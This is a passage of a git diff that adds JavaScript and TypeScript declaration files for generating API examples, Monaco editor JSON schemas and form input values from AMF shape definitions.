+   * @param {ApiShapeUnion=} shape The optional shape containing this example to use with the XML examples which needs wrapping into an element.
+   * @returns {string|null} The read or generated example.
+   */
+  read(example, mime, shape) {
+    const { value, structuredValue } = example;
+    if (!value && !structuredValue) {
+      return null;
+    }
+    if (structuredValue && !value && mime) {
+      return this.fromStructuredValue(mime, structuredValue, shape);
+    }
+    if (!mime) {
+      return value;
+    }
+    if (this.mimeMatches(mime, value)) {
+      return value;
+    }
+    if (structuredValue) {
+      return this.fromStructuredValue(mime, structuredValue, shape);
+    }
+    return null;
+  }
+
+  /**
+   * Employs some basic heuristics to determine whether the given mime type patches the content.
+   * @param {string} mime The mime type for the value.
+   * @param {string} value The value.
+   * @returns {boolean} True when the value matches the mime type.
+   */
+  mimeMatches(mime, value) {
+    const trimmed = value.trim();
+    if (mime.includes('json')) {
+      // JSON string has to start with either of these characters
+      return trimmed[0] === '{' || trimmed[0] === '[';
+    }
+    if (mime.includes('xml')) {
+      return trimmed.startsWith('<');
+    }
+    if (mime.includes('x-www-form-urlencoded')) {
+      return trimmed.includes('=') || trimmed.includes('&');
+    }
+    return true;
+  }
+
+  /**
+   * Generates the example for the given structured value and the media type.
+   * @param {string} mime The mime type for the value.
+   * @param {ApiDataNode} structuredValue The structuredValue of the example.
+   * @param {ApiShapeUnion=} shape The optional shape containing this example to use with the XML examples which needs wrapping into an element.
+   * @returns {string|null} The generated example or null if couldn't process the data.
+   */
+  fromStructuredValue(mime, structuredValue, shape) {
+    if (mime.includes('json')) {
+      const generator = new JsonDataNodeGenerator();
+      return generator.generate(structuredValue);
+    }
+    let shapeName;
+    if (shape && shape.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      shapeName = shape.name;
+    } else if (shape && shape.types.includes(ns.aml.vocabularies.shapes.ArrayShape)) {
+      const typed = /** @type ApiArrayShape */ (shape);
+      if (typed.items && typed.items.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+        shapeName = typed.items.name || shape.name;
+      }
+    }
+    if (mime.includes('xml')) {
+      const generator = new XmlDataNodeGenerator();
+      let value = generator.generate(structuredValue, shapeName);
+      if (shape && !shapeName) {
+        value = this.wrapXmlValue(value, shape);
+      }
+      return value;
+    }
+    if (mime.includes('x-www-form-urlencoded')) {
+      const generator = new UrlEncodedDataNodeGenerator();
+      return generator.generate(structuredValue, shapeName);
+    }
+    return null;
+  }
+
+  /**
+   * Wraps the generated XML example into an element according to the `shape` properties.
+   * @param {string|null} value 
+   * @param {ApiShapeUnion} shape 
+   * @returns {string|null}
+   */
+  wrapXmlValue(value, shape) {
+    if (!value || !shape) {
+      return value;
+    }
+    const { name } = shape;
+    const parts = [`<${name}>`];
+    parts.push(formatXmlValue('  ', value.trim()));
+    parts.push(`</${name}>`);
+    return parts.join('\n');
+  }
+}
diff --git a/src/schema/ApiMonacoSchemaGenerator.d.ts b/src/schema/ApiMonacoSchemaGenerator.d.ts
new file mode 100644
index 0000000..2e27c71
--- /dev/null
+++ b/src/schema/ApiMonacoSchemaGenerator.d.ts
@@ -0,0 +1,32 @@
+import { ApiArrayShape, ApiNodeShape, ApiPropertyShape, ApiScalarShape, ApiShapeUnion } from '../helpers/api';
+import { MonacoArrayProperty, MonacoObjectProperty, MonacoScalarProperty, MonacoSchema } from '../types';
+
+/**
+ * A class to generate JSON schema from an ApiShapeUnion declaration to use with the Monaco editor schemas.
+ */
+export declare class ApiMonacoSchemaGenerator {
+  /**
+   * @param parentUri The URI for the fileMatch property.
+   */
+  generate(schema: ApiShapeUnion, parentUri: string): MonacoSchema[];
+
+  /**
+   * @param parentUri The URI for the fileMatch property.
+   */
+  fromNodeShape(schema: ApiNodeShape, parentUri?: string): MonacoSchema[];
+
+  appendSchemaProperty(content: MonacoObjectProperty, property: ApiPropertyShape): void;
+
+  rangeToPropertySchema(range: ApiShapeUnion): MonacoScalarProperty | MonacoObjectProperty | MonacoArrayProperty;
+
+  scalarRangeToPropertySchema(schema: ApiScalarShape): MonacoScalarProperty;
+
+  /**
+   * Translates AMF data type to JSON schema data type.
+   */
+  schemaTypeToJsonDataType(schemaType: string): string;
+
+  nodeShapeRangeToPropertySchema(schema: ApiNodeShape): MonacoObjectProperty;
+
+  arrayShapeRangeToPropertySchema(schema: ApiArrayShape): MonacoArrayProperty;
+}
diff --git a/src/schema/ApiMonacoSchemaGenerator.js b/src/schema/ApiMonacoSchemaGenerator.js
new file mode 100644
index 0000000..8bca054
--- /dev/null
+++ b/src/schema/ApiMonacoSchemaGenerator.js
@@ -0,0 +1,285 @@
+/* eslint-disable no-param-reassign */
+/* eslint-disable class-methods-use-this */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../types').MonacoSchema} MonacoSchema */
+/** @typedef {import('../types').MonacoProperty} MonacoProperty */
+/** @typedef {import('../types').MonacoScalarProperty} MonacoScalarProperty */
+/** @typedef {import('../types').MonacoObjectProperty} MonacoObjectProperty */
+/** @typedef {import('../types').MonacoArrayProperty} MonacoArrayProperty */
+
+import { ns } from "../helpers/Namespace.js";
+import { collectNodeProperties } from './Utils.js';
+
+/**
+ * @param {string} name 
+ * @returns {string}
+ */
+function cleanName(name) {
+  if (!name) {
+    return name;
+  }
+  return name.replace('?', '');
+}
+
+/**
+ * A class to generate JSON schema from an ApiShapeUnion declaration to use with the Monaco editor schemas.
+ */
+export class ApiMonacoSchemaGenerator {
+  /**
+   * @param {ApiShapeUnion} schema
+   * @param {string} parentUri The URI for the fileMatch property.
+   */
+  generate(schema, parentUri) {
+    /** @type MonacoSchema[] */
+    this.schemas = [];
+    if (!schema) {
+      return [];
+    }
+    const { types } = schema;
+    if (types.includes(ns.w3.shacl.NodeShape)) {
+      return this.fromNodeShape(/** @type ApiNodeShape */ (schema), parentUri);
+    }
+    return [];
+  }
+
+  /**
+   * @param {ApiNodeShape} schema
+   * @param {string=} parentUri The URI for the fileMatch property.
+   * @returns {MonacoSchema[]}
+   */
+  fromNodeShape(schema, parentUri) {
+    const { id, name } = schema;
+    const properties = collectNodeProperties(schema);
+    const content = /** @type MonacoObjectProperty */ ({
+      title: cleanName(name),
+      type: "object",
+      properties: {},
+      required: [],
+    });
+    const result = /** @type MonacoSchema */ ({
+      uri: id,
+      schema: content,
+    });
+    if (parentUri) {
+      result.fileMatch = [parentUri];
+    }
+    this.schemas.push(result);
+    if (!Array.isArray(properties) || !properties.length) {
+      return this.schemas;
+    }
+    properties.forEach(property => this.appendSchemaProperty(content, property));
+    return this.schemas;
+  }
+
+  /**
+   * @param {MonacoObjectProperty} content
+   * @param {ApiPropertyShape} property
+   */
+  appendSchemaProperty(content, property) {
+    const { name, range, minCount } = property;
+    const value = this.rangeToPropertySchema(range);
+    if (value) {
+      content.properties[name] = value;
+      if (minCount === 1) {
+        content.required.push(name);
+      }
+    }
+  }
+
+  /**
+   * @param {ApiShapeUnion} range
+   */
+  rangeToPropertySchema(range) {
+    const { types } = range;
+    if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      return this.scalarRangeToPropertySchema(/** @type ApiScalarShape */ (range));
+    }
+    if (types.includes(ns.w3.shacl.NodeShape)) {
+      return this.nodeShapeRangeToPropertySchema(/** @type ApiNodeShape */ (range));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) {
+      return this.arrayShapeRangeToPropertySchema(/** @type ApiArrayShape */ (range));
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {ApiScalarShape} schema
+   * @returns {MonacoScalarProperty}
+   */
+  scalarRangeToPropertySchema(schema) {
+    const { values, description, name, displayName, defaultValueStr, exclusiveMaximum, exclusiveMinimum, minimum, maximum, minLength, maxLength, id, multipleOf, pattern, readOnly, writeOnly } = schema;
+    const type = this.schemaTypeToJsonDataType(schema.dataType);
+    const result = /** @type MonacoScalarProperty */ ({
+      '$id': id,
+      type,
+      title: cleanName(displayName || name),
+    });
+    if (description) {
+      result.description = description;
+    }
+    if (defaultValueStr) {
+      result.default = defaultValueStr;
+    }
+    if (typeof exclusiveMaximum === 'boolean') {
+      result.exclusiveMaximum = exclusiveMaximum;
+    }
+    if (typeof exclusiveMinimum === 'boolean') {
+      result.exclusiveMinimum = exclusiveMinimum;
+    }
+    if (typeof maxLength === 'number') {
+      result.maxLength = maxLength;
+    }
+    if (typeof minLength === 'number') {
+      result.minLength = minLength;
+    }
+    if (typeof minimum === 'number') {
+      result.minimum = minimum;
+    }
+    if (typeof maximum === 'number') {
+      result.maximum = maximum;
+    }
+    if (typeof multipleOf === 'number') {
+      result.multipleOf = multipleOf;
+    }
+    if (typeof pattern === 'string') {
+      result.pattern = pattern;
+    }
+    if (typeof readOnly === 'boolean') {
+      result.readOnly = readOnly;
+    }
+    if (typeof writeOnly === 'boolean') {
+      result.writeOnly = writeOnly;
+    }
+    switch (schema.dataType) {
+      case ns.aml.vocabularies.shapes.dateTimeOnly: result.format = 'date-time'; break;
+      case ns.w3.xmlSchema.date: result.format = 'date'; break;
+      case ns.w3.xmlSchema.time: result.format = 'time'; break;
+      default:
+    }
+    if (Array.isArray(values) && values.length) {
+      // enum properties
+      result.enum = [];
+      values.forEach((value) => {
+        const { types } = value;
+        if (types.includes(ns.aml.vocabularies.data.Scalar)) {
+          const typed = /** @type ApiScalarNode */ (value);
+          if (typed.value) {
+            result.enum.push(typed.value);
+          }
+        }
+      });
+    }
+    return result;
+  }
+
+  /**
+   * Translates AMF data type to JSON schema data type.
+   * @param {string} schemaType
+   * @return {string} 
+   */
+  schemaTypeToJsonDataType(schemaType) {
+    switch (schemaType) {
+      case ns.aml.vocabularies.shapes.number:
+      case ns.aml.vocabularies.shapes.integer:
+      case ns.aml.vocabularies.shapes.float:
+      case ns.aml.vocabularies.shapes.long:
+      case ns.aml.vocabularies.shapes.double:
+      case ns.w3.xmlSchema.number:
+      case ns.w3.xmlSchema.integer:
+      case ns.w3.xmlSchema.float:
+      case ns.w3.xmlSchema.long:
+      case ns.w3.xmlSchema.double: return 'number';
+      case ns.w3.xmlSchema.boolean:
+      case ns.aml.vocabularies.shapes.boolean: return 'boolean';
+      case ns.aml.vocabularies.shapes.nil:
+      case ns.w3.xmlSchema.nil: return 'null';
+      default: return 'string';
+    }
+  }
+
+  /**
+   * @param {ApiNodeShape} schema
+   * @returns {MonacoObjectProperty}
+   */
+  nodeShapeRangeToPropertySchema(schema) {
+    const { description, name, displayName, id, readOnly, writeOnly, closed, minProperties, maxProperties } = schema;
+    const properties = collectNodeProperties(schema);
+
+    const result = /** @type MonacoObjectProperty */ ({
+      '$id': id,
+      type: 'object',
+      title: cleanName(displayName || name),
+      properties: {},
+      required: [],
+    });
+    if (description) {
+      result.description = description;
+    }
+    if (typeof readOnly === 'boolean') {
+      result.readOnly = readOnly;
+    }
+    if (typeof writeOnly === 'boolean') {
+      result.writeOnly = writeOnly;
+    }
+    if (typeof closed === 'boolean') {
+      result.additionalProperties = !closed;
+    }
+    if (typeof minProperties === 'number') {
+      result.minProperties = minProperties;
+    }
+    if (typeof maxProperties === 'number') {
+      result.maxProperties = maxProperties;
+    }
+    properties.forEach(property => this.appendSchemaProperty(result, property));
+    return result;
+  }
+
+  /**
+   * @param {ApiArrayShape} schema
+   * @returns {MonacoArrayProperty}
+   */
+  arrayShapeRangeToPropertySchema(schema) {
+    const { description, name, displayName, id, readOnly, writeOnly, items, minItems, maxItems, uniqueItems } = schema;
+    const result = /** @type MonacoArrayProperty */ ({
+      '$id': id,
+      type: 'array',
+      title: cleanName(displayName || name),
+      items: {
+        anyOf: [],
+      },
+      required: [],
+      additionalItems: false,
+    });
+    if (description) {
+      result.description = description;
+    }
+    if (typeof readOnly === 'boolean') {
+      result.readOnly = readOnly;
+    }
+    if (typeof writeOnly === 'boolean') {
+      result.writeOnly = writeOnly;
+    }
+    if (typeof uniqueItems === 'boolean') {
+      result.uniqueItems = uniqueItems;
+    }
+    if (items) {
+      const value = this.rangeToPropertySchema(items);
+      if (value) {
+        result.items.anyOf.push(value);
+      }
+    }
+    if (typeof minItems === 'number') {
+      result.minItems = minItems;
+    }
+    if (typeof maxItems === 'number') {
+      result.maxItems = maxItems;
+    }
+    return result;
+  }
+}
diff --git a/src/schema/ApiSchemaGenerator.d.ts b/src/schema/ApiSchemaGenerator.d.ts
new file mode 100644
index 0000000..72562e5
--- /dev/null
+++ b/src/schema/ApiSchemaGenerator.d.ts
@@ -0,0 +1,52 @@
+import { ApiShapeUnion } from '../helpers/api';
+import { ShapeBase } from './shape/ShapeBase';
+import { SchemaExample, ShapeRenderOptions } from '../types';
+
+/**
+ * A class that processes AMF's Shape to auto-generate a schema for a given media type.
+ * This should be used when examples for the Shape are not available but the application still needs to 
+ * render an example or a schema from the Shape.
+ */
+export declare class ApiSchemaGenerator {
+  mime: string;
+  opts: Readonly<ShapeRenderOptions>;
+  generator?: ShapeBase;
+  /**
+   * @param mime The example mime type to format the generated example.
+   * @param opts Optional configuration.
+   */
+  constructor(mime: string, opts?: ShapeRenderOptions);
+
+  /**
+   * @param shape The Shape definition
+   * @param mime The mime type for the value.
+   * @returns Customized Example with the `renderValue` that is the generated Example value.
+   */
+  static asExample(shape: ApiShapeUnion, mime: string, opts?: ShapeRenderOptions): SchemaExample|null;
+
+  /**
+   * @param shape The Shape definition
+   * @param mime The mime type for the value.
+   * @returns Generated schema
+   */
+  static asSchema(shape: ApiShapeUnion, mime: string, opts?: ShapeRenderOptions): object|string|number|boolean|null|undefined;
+
+  /**
+   * Generates the schema from the AMF shape.
+   * 
+   * @param shape The Shape definition
+   */
+  generate(shape: ApiShapeUnion): object|string|number|boolean|null|undefined;
+
+  /**
+   * @param shape The Shape definition
+   */
+  toValue(shape: ApiShapeUnion): object|string|number|boolean|null|undefined;
+
+  /**
+   * Generates an API Example object with the value to render.
+   * @param shape The Shape definition
+   * @returns Customized Example with the `renderValue` that is the generated Example value.
+   */
+  toExample(shape: ApiShapeUnion): SchemaExample|null;
+}
diff --git a/src/schema/ApiSchemaGenerator.js b/src/schema/ApiSchemaGenerator.js
new file mode 100644
index 0000000..6f5be40
--- /dev/null
+++ b/src/schema/ApiSchemaGenerator.js
@@ -0,0 +1,115 @@
+/* eslint-disable max-classes-per-file */
+/* eslint-disable no-unused-vars */
+/* eslint-disable class-methods-use-this */
+import { ns } from "../helpers/Namespace.js";
+import { ShapeJsonSchemaGenerator } from './shape/ShapeJsonSchemaGenerator.js';
+import { ShapeXmlSchemaGenerator } from './shape/ShapeXmlSchemaGenerator.js';
+
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../types').SchemaExample} SchemaExample */
+/** @typedef {import('../types').ShapeRenderOptions} ShapeRenderOptions */
+/** @typedef {import('./shape/ShapeBase').ShapeBase} ShapeBase */
+
+/**
+ * A class that processes AMF's Shape to auto-generate a schema from examples/type for a given media type.
+ * This should be used when examples for the Shape are not available but the application still needs to 
+ * render an example or a schema from the Shape.
+ * If examples can be found directly in the shape, use the `ApiExampleGenerator` instead.
+ */
+export class ApiSchemaGenerator {
+  /**
+   * 
+   * @param {string} mime The example mime type to format the generated example.
+   * @param {ShapeRenderOptions=} opts Optional configuration.
+   */
+  constructor(mime, opts={}) {
+    this.mime = mime;
+    /**
+     * @type Readonly<ShapeRenderOptions>
+     */
+    this.opts = Object.freeze({ ...opts });
+    /** 
+     * @type {ShapeBase}
+     */
+    this.generator = undefined;
+    if (mime.includes('json')) {
+      this.generator = new ShapeJsonSchemaGenerator(opts);
+    } else if (mime.includes('xml')) {
+      this.generator = new ShapeXmlSchemaGenerator(opts);
+    }
+  }
+
+  /**
+   * @param {ApiShapeUnion} shape The Shape definition
+   * @param {string} mime The mime type for the value.
+   * @param {ShapeRenderOptions=} opts
+   * @returns {SchemaExample|null} Customized Example with the `renderValue` that is the generated Example value.
+   */
+  static asExample(shape, mime, opts) {
+    const generator = new ApiSchemaGenerator(mime, opts);
+    return generator.toExample(shape);
+  }
+
+  /**
+   * @param {ApiShapeUnion} shape The Shape definition
+   * @param {string} mime The mime type for the value.
+   * @param {ShapeRenderOptions=} opts
+   * @returns {object|string|number|boolean|null|undefined} Generated schema
+   */
+  static asSchema(shape, mime, opts) {
+    const generator = new ApiSchemaGenerator(mime, opts);
+    return generator.toValue(shape);
+  }
+
+  /**
+   * Generates the schema from the AMF shape.
+   * 
+   * @param {ApiShapeUnion} shape The Shape definition
+   * @returns {object|string|number|boolean|null|undefined}
+   */
+  generate(shape) {
+    const { generator } = this;
+    if (!generator) {
+      return null;
+    }
+    return generator.generate(shape);
+  }
+
+  /**
+   * @link {#generate()}
+   * @param {ApiShapeUnion} shape The Shape definition
+   * @returns {object|string|number|boolean|null|undefined}
+   */
+  toValue(shape) {
+    return this.generate(shape);
+  }
+
+  /**
+   * Generates an API Example object with the value to render.
+   * @param {ApiShapeUnion} shape The Shape definition
+   * @returns {SchemaExample|null} Customized Example with the `renderValue` that is the generated Example value.
+   */
+  toExample(shape) {
+    const renderValue = this.generate(shape);
+    if (renderValue === null || renderValue === undefined) {
+      return null;
+    }
+    const result = /** @type SchemaExample */ ({
+      id: `${shape.id}/generated`,
+      strict: true,
+      types: [ns.aml.vocabularies.apiContract.Example],
+      mediaType: this.mime,
+      renderValue,
+      customDomainProperties: [],
+    });
+    const typed = /** @type ApiAnyShape */ (shape);
+    if (Array.isArray(typed.examples) && typed.examples.length) {
+      const [example] = typed.examples;
+      if (example.value) {
+        result.value = example.value;
+      }
+    }
+    return result;
+  }
+}
diff --git a/src/schema/ApiSchemaValues.d.ts b/src/schema/ApiSchemaValues.d.ts
new file mode 100644
index 0000000..4f3cb75
--- /dev/null
+++ b/src/schema/ApiSchemaValues.d.ts
@@ -0,0 +1,96 @@
+import { ApiArrayShape, ApiExample, ApiParameter, ApiScalarShape, ApiShapeUnion } from "../helpers/api";
+import { ApiSchemaReadOptions } from "../types";
+
+/**
+ * A utility class with helper functions to read values from a schema definition
+ */
+export declare class ApiSchemaValues {
+  /**
+   * Reads the value to be set on an input. This is for Scalar shapes only.
+   * 
+   * @returns The value to set on the input. Note, it is not cast to the type.
+   */
+  static readInputValue(parameter: ApiParameter, schema: ApiScalarShape, opts?: ApiSchemaReadOptions): any;
+
+  /**
+   * @param parameter The parameter that has the array schema.
+   * @param schema The final schema to use to read the data from.
+   */
+  static readInputValues(parameter: ApiParameter, schema: ApiShapeUnion, opts?: ApiSchemaReadOptions): any[];
+
+  /**
+   * Reads the value for the form input(s) from examples.
+   */
+  static inputValueFromExamples(examples: ApiExample[]): any|null|undefined;
+
+  /**
+   * Reads the array value from examples.
+   * @param examples Examples set on an array item.
+   */
+  static arrayValuesFromExamples(examples: ApiExample[]): any[];
+
+  /**
+   * Generates a default value from the schema type.
+   * For booleans it returns `false`, for numbers `0`, nulls `null`, etc.
+   * It does not generate a value for `string` types!
+   */
+  static generateDefaultValue(schema: ApiScalarShape): any;
+
+  /**
+   * Casts the `value` to the corresponding data type
+   */
+  static readTypedValue(value: any, type: string): any;
+
+  /**
+   * @param schemaType Data type encoded in the parameter schema.
+   * @returns One of the HTML input element type values.
+   */
+  static readInputType(schemaType: string): 'number'|'boolean'|'date'|'time'|'datetime-local'|'text';
+
+  /**
+   * Processes a value that should be a number.
+   */
+  static parseNumberInput(value: any, defaultValue?: number): number|undefined;
+
+  /**
+   * Processes a value that should be a number.
+   */
+  static parseBooleanInput(value: any, defaultValue?: boolean): boolean|undefined;
+
+  /**
+   * Processes a value that should be a date formatted as yyyy-MM-dd.
+   */
+  static parseDateOnlyInput(value: any): string|undefined;
+
+  /**
+   * Processes a value that should be a date formatted as hh:mm:ss.
+   */
+  static parseTimeOnlyInput(input: any): string|undefined;
+
+  /**
+   * Processes a value that should be a date formatted in one of the supported formats:
+   * - rfc3339 (default): 2016-02-28T16:41:41.090Z
+   * - rfc2616: Sun, 28 Feb 2016 16:41:41 GMT
+   */
+  static parseDateTimeInput(value: any, format?: string): string|undefined;
+
+  /**
+   * Processes a value that should be a date formatted as yyyy-MM-ddThh:mm
+   */
+  static parseDateTimeOnlyInput(value: any): string|undefined;
+
+  /**
+   * Parses the the value according to array schema value.
+   */
+  static parseArrayInput(value: any, schema: ApiArrayShape): string|number|boolean|null|undefined;
+
+  /**
+   * Parses the user entered value according to the schema definition.
+   */
+  static parseUserInput(value: any, schema: ApiShapeUnion): string|number|boolean|null|undefined;
+
+  /**
+   * Parses the user entered value as scalar value.
+   */
+  static parseScalarInput(value: any, schema: ApiScalarShape): string|number|boolean|null|undefined;
+}
diff --git a/src/schema/ApiSchemaValues.js b/src/schema/ApiSchemaValues.js
new file mode 100644
index 0000000..65f273a
--- /dev/null
+++ b/src/schema/ApiSchemaValues.js
@@ -0,0 +1,377 @@
+/* eslint-disable class-methods-use-this */
+
+import { Time } from '@pawel-up/data-mock';
+import { ns } from "../helpers/Namespace.js";
+import { JsonDataNodeGenerator } from "./data-node/JsonDataNodeGenerator.js";
+import { parseBooleanInput, parseNumberInput, readTypedValue } from "./Utils.js";
+
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../helpers/api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiExample} ApiExample */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiArrayNode} ApiArrayNode */
+/** @typedef {import('../types').ApiSchemaReadOptions} ApiSchemaReadOptions */
+
+/**
+ * A utility class with helper functions to read values from a schema definition
+ */
+export class ApiSchemaValues {
+  /**
+   * Reads the value to be set on an input. This is for Scalar shapes only.
+   *
+   * @param {ApiParameter} parameter
+   * @param {ApiScalarShape} schema
+   * @param {ApiSchemaReadOptions=} opts
+   * @returns {any} The value to set on the input. Note, it is not cast to the type.
+   */
+  static readInputValue(parameter, schema, opts={}) {
+    const { required } = parameter;
+    const { defaultValueStr, values } = schema;
+    if (!required && opts.requiredOnly === true) {
+      return undefined;
+    }
+    if (defaultValueStr) {
+      return ApiSchemaValues.readTypedValue(defaultValueStr, schema.dataType);
+    }
+    if (Array.isArray(values) && values.length) {
+      const firstEnum = /** @type ApiScalarNode */ (values[0]);
+      return ApiSchemaValues.readTypedValue(firstEnum.value, firstEnum.dataType);
+    }
+    if (opts.fromExamples) {
+      /** @type ApiExample[] */
+      let examples;
+      if (Array.isArray(parameter.examples) && parameter.examples.length) {
+        // just in case when an ApiParameter was passed.
+        examples = parameter.examples.filter(i => typeof i !== 'string');
+      } else if (Array.isArray(schema.examples) && schema.examples.length) {
+        examples = schema.examples;
+      }
+      if (examples && examples.length) {
+        return ApiSchemaValues.inputValueFromExamples(examples);
+      }
+    }
+    return ApiSchemaValues.generateDefaultValue(schema);
+  }
+
+  /**
+   * @param {ApiParameter} parameter The parameter that has the array schema.
+   * @param {ApiShapeUnion} schema The final schema to use to read the data from.
+   * @param {ApiSchemaReadOptions=} opts
+   * @returns {any[]}
+   */
+  static readInputValues(parameter, schema, opts={}) {
+    if (!parameter.required && opts.requiredOnly === true) {
+      // for a non required array items just skip showing example values
+      // as they are not crucial to make an HTTP request.
+      return [];
+    }
+    const { defaultValue } = schema;
+    if (defaultValue) {
+      const gen = new JsonDataNodeGenerator();
+      const result = gen.processNode(defaultValue);
+      if (Array.isArray(result)) {
+        return result;
+      }
+    }
+    const anySchema = /** @type ApiAnyShape */ (schema);
+    if (opts.fromExamples) {
+      /** @type ApiExample[] */
+      let examples;
+      if (Array.isArray(parameter.examples) && parameter.examples.length) {
+        // just in case when an ApiParameter was passed.
+        examples = parameter.examples.filter(i => typeof i !== 'string');
+      } else if (Array.isArray(anySchema.examples) && anySchema.examples.length) {
+        examples = anySchema.examples;
+      }
+      return ApiSchemaValues.arrayValuesFromExamples(examples);
+    }
+    return [];
+  }
+
+  /**
+   * Reads the value for the form input(s) from examples.
+   * @param {ApiExample[]} examples
+   * @returns {any|null|undefined} 
+   */
+  static inputValueFromExamples(examples) {
+    if (!Array.isArray(examples) || !examples.length) {
+      return undefined;
+    }
+    const [example] = examples;
+    const { structuredValue } = example;
+    if (!structuredValue) {
+      return undefined;
+    }
+    if (structuredValue.types.includes(ns.aml.vocabularies.data.Scalar)) {
+      const value = /** @type ApiScalarNode */ (structuredValue);
+      return ApiSchemaValues.readTypedValue(value.value, value.dataType);
+    }
+    return undefined;
+  }
+
+  /**
+   * Reads the array value from examples.
+   * @param {ApiExample[]} examples Examples set on an array item.
+   * @returns {any[]} 
+   */
+  static arrayValuesFromExamples(examples) {
+    /** @type any[] */
+    const defaultReturn = [];
+    if (!Array.isArray(examples) || !examples.length) {
+      return defaultReturn;
+    }
+    const [example] = examples;
+    if (!example.structuredValue || !example.structuredValue.types.includes(ns.aml.vocabularies.data.Array)) {
+      return defaultReturn;
+    }
+    const value = /** @type ApiArrayNode */ (example.structuredValue);
+    const { members } = value;
+    if (!Array.isArray(members) || !members.length) {
+      return defaultReturn;
+    }
+    const result = [];
+    members.forEach((item) => {
+      const scalar = /** @type ApiScalarNode */ (item);
+      if (!scalar.value) {
+        return;
+      }
+      const typedValue = ApiSchemaValues.readTypedValue(scalar.value, scalar.dataType);
+      if (typeof value !== 'undefined' && value !== null) {
+        result.push(typedValue);
+      }
+    });
+    return result;
+  }
+
+  /**
+   * Generates a default value from the schema type.
+   * For booleans it returns `false`, for numbers `0`, nulls `null`, etc.
+   * It does not generate a value for `string` types!
+   * 
+   * @param {ApiScalarShape} schema
+   * @returns {any}
+   */
+  static generateDefaultValue(schema) {
+    const { dataType } = schema;
+    switch (dataType) {
+      case ns.w3.xmlSchema.string: return '';
+      // XML schema, for DataNode
+      case ns.w3.xmlSchema.number:
+      case ns.w3.xmlSchema.integer:
+      case ns.w3.xmlSchema.float:
+      case ns.w3.xmlSchema.long:
+      case ns.w3.xmlSchema.double: return 0;
+      // AML shapes, for Shape
+      case ns.aml.vocabularies.shapes.number:
+      case ns.aml.vocabularies.shapes.integer:
+      case ns.aml.vocabularies.shapes.float:
+      case ns.aml.vocabularies.shapes.long:
+      case ns.aml.vocabularies.shapes.double: return 0;
+      case ns.aml.vocabularies.shapes.boolean:
+      case ns.w3.xmlSchema.boolean: return false;
+      case ns.aml.vocabularies.shapes.nil:
+      case ns.w3.xmlSchema.nil: return null;
+      case ns.w3.xmlSchema.date: return new Time().dateOnly();
+      case ns.w3.xmlSchema.dateTime: return new Time().dateTime(/** @type {"rfc3339" | "rfc2616"} */ (schema.format === 'date-time' ? 'rfc3339' : schema.format));
+      case ns.aml.vocabularies.shapes.dateTimeOnly: return new Time().dateTimeOnly();
+      case ns.w3.xmlSchema.time: return new Time().timeOnly();
+      default: return undefined;
+    }
+  }
+
+  /**
+   * Casts the `value` to the corresponding data type
+   * @param {any} value
+   * @param {string} type The w3 schema type
+   * @returns {any} 
+   */
+  static readTypedValue(value, type) {
+    return readTypedValue(value, type);
+  }
+
+  /**
+   * @param {string} schemaType Data type encoded in the parameter schema.
+   * @returns {'number'|'boolean'|'date'|'time'|'datetime-local'|'text'} One of the HTML input element type values.
+   */
+  static readInputType(schemaType) {
+    switch (schemaType) {
+      case ns.aml.vocabularies.shapes.number:
+      case ns.aml.vocabularies.shapes.integer:
+      case ns.aml.vocabularies.shapes.float:
+      case ns.aml.vocabularies.shapes.long:
+      case ns.aml.vocabularies.shapes.double:
+      case ns.w3.xmlSchema.number:
+      case ns.w3.xmlSchema.integer:
+      case ns.w3.xmlSchema.float:
+      case ns.w3.xmlSchema.long:
+      case ns.w3.xmlSchema.double: return 'number';
+      case ns.w3.xmlSchema.date: return 'date';
+      case ns.w3.xmlSchema.time: return 'time';
+      case ns.w3.xmlSchema.dateTime:
+      case ns.aml.vocabularies.shapes.dateTimeOnly: return 'datetime-local';
+      case ns.aml.vocabularies.shapes.boolean:
+      case ns.w3.xmlSchema.boolean: return 'boolean';
+      default: return 'text';
+    }
+  }
+
+  /**
+   * Processes a value that should be a number.
+   * @param {any} value
+   * @param {number=} defaultValue
+   * @returns {number|undefined} 
+   */
+  static parseNumberInput(value, defaultValue) {
+    return parseNumberInput(value, defaultValue);
+  }
+
+  /**
+   * Processes a value that should be a number.
+   * @param {any} value
+   * @param {boolean=} defaultValue
+   * @returns {boolean|undefined} 
+   */
+  static parseBooleanInput(value, defaultValue) {
+    return parseBooleanInput(value, defaultValue);
+  }
+
+  /**
+   * Processes a value that should be a date formatted as yyyy-MM-dd.
+   * @param {any} value
+   * @returns {string|undefined} 
+   */
+  static parseDateOnlyInput(value) {
+    const d = new Date(value);
+    if (Number.isNaN(d.getTime())) {
+      return undefined;
+    }
+    const result = d.toJSON();
+    const timeSeparator = result.indexOf('T');
+    return result.substr(0, timeSeparator);
+  }
+
+  /**
+   * Processes a value that should be a date formatted as hh:mm:ss.
